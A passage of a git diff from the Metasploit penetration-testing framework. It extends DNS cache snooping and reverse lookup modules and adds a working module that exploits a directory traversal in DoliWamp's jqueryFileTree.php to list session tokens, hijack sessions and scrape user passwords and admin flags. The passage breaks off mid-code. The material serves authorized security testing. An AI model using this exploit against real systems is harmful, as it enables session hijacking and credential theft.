datastore['DNS_TIMEOUT'] + + # query dns + begin + query = res.send(domain) + rescue ResolverArgumentError + print_error("Invalid domain: #{domain}") + return + rescue NoResponseError + print_error("DNS Timeout Issue: #{domain}") + return + end + + # found or not found + if query.answer.empty? + vprint_status("#{domain} - Not Found") + return + end + + @is_vulnerable = true + print_good("#{domain} - Found") + report_goods(domain) + end + + # method to read each line from file + def read_file + ::File.open("#{datastore['WORDLIST']}", "rb").each_line do |line| + scrape_dns(line.chomp) + end + end + + # log results to database + def report_goods(domain) + if datastore['TCP_DNS'] + proto = "tcp" + else + proto = "udp" + end + + report_note( + :host => datastore['NS'], + :name => "dns", + :port => 53, + :proto => proto, + :type => "dns.cache.scrape", + :data => "#{domain} cached", + :update => :unique_data + ) + end + + # main control method + def run + @is_vulnerable = false + + print_status("Making queries against #{datastore['NS']}") + + if datastore['DOMAIN'].blank? + read_file + else + scrape_dns(datastore['DOMAIN']) + end + + report_vuln( + :host => datastore['NS'], + :name => "DNS Cache Snooping", + ) if @is_vulnerable + end +end + diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index dc0b0167d2..d787886cc9 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -12,26 +12,32 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'DNS Reverse Lookup Enumeration', - 'Description' => %q{ + 'Name' => 'DNS Reverse Lookup Enumeration', + 'Description' => %q{ This module performs DNS reverse lookup against a given IP range in order to retrieve valid addresses and names. }, - 'Author' => [ 'Carlos Perez ' ], - 'License' => BSD_LICENSE + 'Author' => + [ + 'Carlos Perez ', # Base code + 'Thanat0s ' # Output, Throttling & Db notes add + ], + 'License' => BSD_LICENSE )) register_options( [ OptAddressRange.new('RANGE', [true, 'IP range to perform reverse lookup against.']), - OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS." ]) + OptAddress.new('NS', [ false, "Specify the nameserver to use for queries, otherwise use the system DNS." ]), + OptString.new('OUT_FILE', [ false, "Specify a CSV output file" ]) ], self.class) register_advanced_options( [ OptInt.new('RETRY', [ false, "Number of tries to resolve a record if no response is received.", 2]), OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry.", 2]), - OptInt.new('THREADS', [ true, "The number of concurrent threads.", 1]) + OptInt.new('THREADS', [ true, "The number of concurrent threads.", 1]), + OptInt.new('THROTTLE', [ false, "Specify the resolution throttle in query per sec. 0 means unthrottled",0 ]) ], self.class) end @@ -55,20 +61,51 @@ class Metasploit3 < Msf::Auxiliary print_status("Running reverse lookup against IP range #{iprange}") ar = Rex::Socket::RangeWalker.new(iprange) tl = [] + # Basic Throttling + sleep_time = 0.0 + if (datastore['THROTTLE'] != 0) + sleep_time = (1.0/datastore['THROTTLE'])*datastore['THREADS'] + print_status("Throttle set to #{datastore['THROTTLE']} queries per seconds") + end + # Output.. + if datastore['OUT_FILE'] + print_status("Scan result saved in #{datastore['OUT_FILE']}") + open(datastore['OUT_FILE'], 'w') do |f| + f.puts "; IP, Host" + end + end while (true) # Spawn threads for each host + hosts = Hash.new while (tl.length <= @threadnum) ip = ar.next_ip break if not ip tl << framework.threads.spawn("Module(#{self.refname})-#{ip}", false, ip.dup) do |tip| begin + Rex.sleep(sleep_time) query = @res.query(tip) query.each_ptr do |addresstp| print_status("Host Name: #{addresstp}, IP Address: #{tip.to_s}") + if datastore['OUT_FILE'] + open(datastore['OUT_FILE'], 'a') do |f| + f.puts "#{tip.to_s},#{addresstp}" + end + end report_host( :host => tip.to_s, :name => addresstp ) + if !hosts[tip] + hosts[tip] = Array.new + end + hosts[tip].push addresstp + end + unless hosts[tip].nil? or hosts[tip].empty? + report_note( + :host => tip.to_s, + :type => "RDNS_Record", + :data => hosts[tip] + ) end rescue ::Interrupt raise $! diff --git a/modules/auxiliary/gather/doliwamp_traversal_creds.rb b/modules/auxiliary/gather/doliwamp_traversal_creds.rb new file mode 100644 index 0000000000..fdf092ed90 --- /dev/null +++ b/modules/auxiliary/gather/doliwamp_traversal_creds.rb @@ -0,0 +1,202 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info( + info, + 'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials", + 'Description' => %q{ + This module will extract user credentials from DoliWamp - a WAMP + packaged installer distribution for Dolibarr ERP on Windows - versions + 3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session + tokens in filenames in the 'tmp' directory. A directory traversal + vulnerability in 'jqueryFileTree.php' allows unauthenticated users + to retrieve session tokens by listing the contents of this directory. + Note: All tokens expire after 30 minutes of inactivity by default. + }, + 'License' => MSF_LICENSE, + 'Author' => 'Brendan Coles ', + 'References' => + [ + ['URL' => 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'], + ['URL' => 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb'] + ], + 'DisclosureDate' => 'Jan 12 2014')) + register_options( + [ + OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']), + OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/']) + ], self.class) + end + + # + # Find session tokens + # + def get_session_tokens + tokens = nil + print_status("#{peer} - Finding session tokens...") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri( + target_uri.path, + 'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'), + 'cookie' => @cookie, + 'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] } + }) + if !res + print_error("#{peer} - Connection failed") + elsif res.code == 404 + print_error("#{peer} - Could not find 'jqueryFileTree.php'") + elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)sess_([a-z0-9]+) 'GET', + 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), + 'cookie' => @cookie, + 'vars_get' => Hash[{ + 'action' => 'edit', + 'id' => "#{user_id}" + }.to_a.shuffle] + }) + if !res + print_error("#{peer} - Connection failed") + elsif res.body =~ /User card/ + record = [ + res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first, + res.body.scan(/name="password" value="([^"]+)"/ ).flatten.first, + res.body.scan(/name="superadmin" value="\d">(Yes|No)/ ).flatten.first, + res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first + ] + unless record.empty? + print_good("#{peer} - Found credentials (#{record[0]}:#{record[1]})") + return record + end + else + print_warning("#{peer} - Could not retrieve user credentials") + end + end + + # + # Verify if session cookie is valid and return user's ID + # + def get_user_id + # print_debug("#{peer} - Trying to hijack session '#{@cookie}'") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), + 'cookie' => @cookie + }) + if !res + print_error("#{peer} - Connection failed") + elsif res.body =~ /